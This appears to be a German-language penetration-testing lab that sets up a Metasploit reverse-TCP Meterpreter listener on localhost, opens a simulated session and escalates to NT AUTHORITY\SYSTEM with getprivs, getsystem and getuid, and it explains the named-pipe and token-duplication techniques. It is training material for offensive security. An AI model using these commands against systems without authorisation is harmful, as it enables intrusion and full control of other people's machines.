Einleitung
Im Bereich des Penetrationstests ist die Erlangung des initialen Zugangs zu einem Zielsystem nur der Anfang. Oftmals ist der initiale Zugriff ein Benutzerkonto mit niedrigen Privilegien und begrenzten Berechtigungen. Um die volle Kontrolle über das System zu erlangen, müssen Sie Ihre Privilegien auf ein Konto mit höherer Berechtigungsebene eskalieren, wie z. B. Administrator oder, noch besser, NT AUTHORITY\SYSTEM unter Windows. Dieser Prozess wird als Privilegieneskalation bezeichnet.
Das Metasploit Framework bietet eine leistungsstarke Post-Exploitation-Payload namens Meterpreter, die einen vielseitigen Befehl, getsystem, enthält, der speziell für diesen Zweck entwickelt wurde. Dieser Befehl automatisiert verschiedene Techniken, um die Privilegien der aktuellen Sitzung auf die höchste Ebene zu erhöhen.
In diesem Lab übernehmen Sie die Rolle eines Angreifers, der bereits eine grundlegende Meterpreter-Sitzung auf einem Windows-Ziel erlangt hat. Sie lernen, wie Sie den Befehl getsystem verwenden, um Ihre Privilegien zu erhöhen und Ihr neues Zugriffslevel zu bestätigen.
Eine Meterpreter-Sitzung auf einem Windows-Ziel etablieren
In diesem Schritt simulieren wir die Erlangung einer Meterpreter-Sitzung. Zuerst müssen wir die Metasploit Framework-Konsole starten und einen Listener konfigurieren, um die eingehende Verbindung von einem kompromittierten Rechner "abzufangen".
Öffnen Sie ein Terminal und starten Sie die Metasploit-Konsole im leisen Modus, um das Banner zu vermeiden.
msfconsole -q
Sobald Sie sich in der msfconsole-Eingabeaufforderung befinden, verwenden wir das generische Modul multi/handler. Dieses Modul ist dafür konzipiert, eingehende Verbindungen von verschiedenen Payloads zu verarbeiten.
use multi/handler
Als Nächstes müssen wir dem Handler mitteilen, welchen Payload er erwarten soll. Für dieses Lab verwenden wir einen Standard-Windows-Meterpreter-Reverse-TCP-Payload.
set payload windows/meterpreter/reverse_tcp
Wir müssen auch die IP-Adresse (LHOST) und den Port (LPORT) des Listeners konfigurieren. Wir setzen LHOST auf 127.0.0.1 (localhost) und LPORT auf 4444.
set LHOST 127.0.0.1
set LPORT 4444
Starten Sie nun den Listener, indem Sie den Befehl exploit ausführen. Wir verwenden das Flag -j, um ihn als Hintergrundjob auszuführen, wodurch die msfconsole-Eingabeaufforderung für weitere Befehle verfügbar bleibt.
exploit -j
Sie sollten eine Bestätigung sehen, dass der Handler gestartet wurde.
[*] Exploit running as background job 0.
[*] Started reverse TCP handler on 127.0.0.1:4444
Für dieses Lab simuliert ein Hintergrundprozess nun einen kompromittierten Windows-Host, der eine Rückverbindung zu Ihnen herstellt. Nach einigen Momenten sollten Sie eine Meldung sehen, die anzeigt, dass eine Meterpreter-Sitzung geöffnet wurde.
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:49152) at YYYY-MM-DD HH:MM:SS +0000
Um mit dieser neuen Sitzung zu interagieren, verwenden Sie den Befehl sessions mit dem Flag -i, gefolgt von der Sitzungs-ID.
sessions -i 1
Ihre Eingabeaufforderung sollte sich zu meterpreter> ändern, was anzeigt, dass Sie sich nun innerhalb der Meterpreter-Sitzung auf der Zielmaschine befinden.
meterpreter >
Überprüfen Sie Ihre aktuellen Privilegien mit getprivs
In diesem Schritt ist es entscheidend, die Privilegien unseres aktuellen Benutzerkontos zu verstehen, bevor wir mit der Eskalation beginnen. Unter Windows bestimmen Privilegien, welche spezifischen Systemoperationen ein Benutzer ausführen kann, wie z. B. das Debuggen von Programmen oder das Herunterfahren des Systems.
Meterpreter bietet den Befehl getprivs, um die dem aktuellen Prozess-Token zugeordneten Privilegien aufzulisten.
Nachdem Sie sich nun in der meterpreter>-Eingabeaufforderung befinden, führen Sie den Befehl getprivs aus:
getprivs
Die Ausgabe listet alle Privilegien auf, die der aktuelle Benutzerprozess besitzt. Einige Privilegien sind standardmäßig aktiviert, während andere deaktiviert sein können.
============================================================
Enabled Process Privileges
============================================================
SeChangeNotifyPrivilege
SeIncreaseQuotaPrivilege
SeShutdownPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
Diese Ausgabe teilt uns unsere aktuellen Fähigkeiten mit. Damit viele Eskalationstechniken funktionieren, sind bestimmte Privilegien wie SeDebugPrivilege oder SeImpersonatePrivilege erforderlich. Diese Liste hilft uns bei der Planung unseres nächsten Schritts.
Versuch, mit dem getsystem-Befehl zu SYSTEM zu eskalieren
In diesem Schritt verwenden wir den primären Befehl von Meterpreter zur Privilegieneskalation: getsystem. Dieser Befehl ist ein leistungsstarkes Skript, das automatisch verschiedene Techniken ausprobiert, um die Privilegien der Sitzung auf NT AUTHORITY\SYSTEM zu erhöhen.
Das Konto NT AUTHORITY\SYSTEM ist das mächtigste Konto auf einem Windows-System und hat praktisch uneingeschränkten Zugriff auf alle Ressourcen. Die Kontrolle über dieses Konto zu erlangen, ist oft das Hauptziel der Post-Exploitation.
Führen Sie von Ihrer meterpreter>-Eingabeaufforderung einfach den Befehl getsystem aus:
getsystem
Meterpreter wird nun verschiedene Techniken ausprobieren. Wenn erfolgreich, sehen Sie eine Meldung, die angibt, welche Technik funktioniert hat. Das häufigste erfolgreiche Ergebnis ist die "Named Pipe Impersonation".
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
Wenn der Befehl eine Erfolgsmeldung zurückgibt, haben Sie wahrscheinlich Ihre Privilegien erfolgreich eskaliert. Wenn er fehlschlägt, bedeutet dies, dass keine der automatisierten Techniken im Kontext des aktuellen Benutzers funktioniert hat, was auf fehlende Privilegien oder Systemhärtung zurückzuführen sein kann. Für dieses Lab wird erwartet, dass der Befehl erfolgreich ist.
Überprüfen Sie die neuen Privilegien mit getuid
In diesem Schritt müssen wir nach Ausführung von getsystem überprüfen, ob unsere Privilegien tatsächlich erhöht wurden. Eine einfache Möglichkeit, dies zu tun, ist die Überprüfung der Benutzeridentität unserer aktuellen Sitzung.
Meterpreter stellt zu diesem Zweck den Befehl getuid zur Verfügung. Er fragt das System ab und gibt den Benutzernamen zurück, unter dem der Meterpreter-Server derzeit ausgeführt wird.
Führen Sie in Ihrer meterpreter>-Eingabeaufforderung den Befehl getuid aus:
getuid
Wenn der Befehl getsystem erfolgreich war, sollte die Ausgabe nun anzeigen, dass Sie der SYSTEM-Benutzer sind.
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Die Anzeige von NT AUTHORITY\SYSTEM als Server-Benutzername ist die definitive Bestätigung einer erfolgreichen Privilegieneskalation. Sie haben nun die höchste Kontrolle über die Zielmaschine. Wenn Sie getuid vor getsystem ausgeführt hätten, hätte es den Namen des niedrig privilegierten Benutzers angezeigt, den Sie ursprünglich kompromittiert haben.
Erläuterung verschiedener getsystem-Techniken
In diesem Schritt werden wir untersuchen, was hinter den Kulissen passiert, wenn Sie getsystem ausführen. Dieser Befehl ist keine einzelne, magische Funktion; es ist ein Skript, das eine Liste bekannter Windows-Privilegieneskalationstechniken durchläuft.
Um die Liste der verfügbaren Techniken anzuzeigen, können Sie das Hilfemenü für den Befehl getsystem verwenden, indem Sie das Flag -h übergeben.
getsystem -h
Dadurch werden die Nutzungsoptionen und eine Liste der Techniken angezeigt, die es verwenden kann.
Usage: getsystem [options]
Attempt to elevate your privilege to that of local system.
OPTIONS:
-h Help Banner.
-t The technique to use. (Default to trying all)
Techniques:
0: All
1: Named Pipe Impersonation (In Memory/Admin)
2: Named Pipe Impersonation (Dropper/Admin)
3: Token Duplication (Admin)
(Hinweis: Die Anzahl und der Name der Techniken können je nach Metasploit-Version leicht variieren.)
Lassen Sie uns kurz erläutern, was diese Techniken bedeuten:
- Named Pipe Impersonation (In Memory/Admin): Dies ist die Standard- und zuverlässigste Methode. Sie erstellt einen Dienst, der als SYSTEM ausgeführt wird, und dann eine benannte Pipe, mit der sich der Dienst verbindet. Ihr Prozess imitiert dann den Sicherheitskontext dieses Dienstes und wird so zu SYSTEM. Dies geschieht alles im Speicher. Es erfordert in der Regel Administratorrechte, um erfolgreich zu sein.
- Named Pipe Impersonation (Dropper/Admin): Dies ähnelt der ersten Technik, beinhaltet jedoch das Ablegen einer Datei (einer DLL) auf der Festplatte. Dies ist weniger unauffällig und wird eher von Antivirensoftware erkannt.
- Token Duplication (Admin): Diese Technik findet einen Prozess, der bereits als SYSTEM ausgeführt wird, stiehlt dessen Zugriffstoken und wendet es auf Ihren aktuellen Prozess an. Dies erfordert das
SeDebugPrivilege, das es Ihnen ermöglicht, andere Prozesse zu inspizieren und zu debuggen.
Standardmäßig versucht getsystem alle verfügbaren Techniken (-t 0), bis eine erfolgreich ist. Das Verständnis dieser Methoden hilft Ihnen bei der Fehlerbehebung, wenn getsystem fehlschlägt, und ermöglicht es Ihnen, eine bestimmte Technik manuell auszuwählen, wenn Sie mehr Informationen über die Konfiguration des Zielsystems haben.
Zusammenfassung
In diesem Lab haben Sie eine der kritischsten Aufgaben nach der Ausbeutung erfolgreich durchgeführt: die Privilegieneskalation. Sie haben gelernt, wie Sie das Metasploit Framework und seine Meterpreter-Payload nutzen können, um Ihren Zugriff auf ein Windows-Ziel von einem Standardbenutzer auf das allmächtige Konto NT AUTHORITY\SYSTEM zu erhöhen.
Sie haben den gesamten Prozess durchlaufen, von der Einrichtung eines Listeners und der Herstellung einer Sitzung bis zur Überprüfung Ihres endgültigen Zugriffslevels. Insbesondere haben Sie verwendet:
msfconsolezur Einrichtung eines Listeners.getprivszur Aufzählung Ihrer anfänglichen Privilegien.getsystemzur automatischen Eskalation Ihrer Privilegien.getuidzur Bestätigung, dass Sie zuNT AUTHORITY\SYSTEMgeworden sind.
Schließlich haben Sie die verschiedenen Techniken erkundet, die der Befehl getsystem intern verwendet. Dieses Wissen ist von unschätzbarem Wert, um zu verstehen, warum der Befehl in verschiedenen Umgebungen erfolgreich oder fehlerhaft sein kann. Die Beherrschung der Privilegieneskalation ist eine grundlegende Fähigkeit für jeden Penetrationstester, und getsystem ist ein mächtiges Werkzeug in Ihrem Arsenal.



